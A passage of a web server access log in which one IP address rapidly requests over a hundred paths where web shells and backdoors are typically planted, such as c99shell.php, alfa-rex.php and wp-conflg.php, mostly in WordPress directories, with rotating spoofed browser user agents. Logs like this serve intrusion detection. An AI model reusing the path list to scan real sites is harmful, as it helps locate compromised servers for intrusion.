[21/Apr/2026:01:53:04 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:04 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:05 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:06 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /admin/assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /de-ideale-stookmix/wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/Requests/src/Response/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/wps-hide-login/wps-hide-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/wp-diambar/includes/loadme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /assets/images/accesson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/wp-plugin/wp-plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /assets/plugins/jQuery-File-Upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/wp-default/sh/member.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/ms-pie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /.well-known/logs233/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /assets/plugins/filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/wp-security-scan/secure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /owncloud/status.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/uploads/autodiagnosis.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/all-in-one-wp-security-and-firewall/templates/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/nav-menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-includes/css/dist/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:07 +0300] "GET /wp-content/plugins/pwnd/file-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/mu-plugins/helper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-admin/images/archive.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:08 +0300] 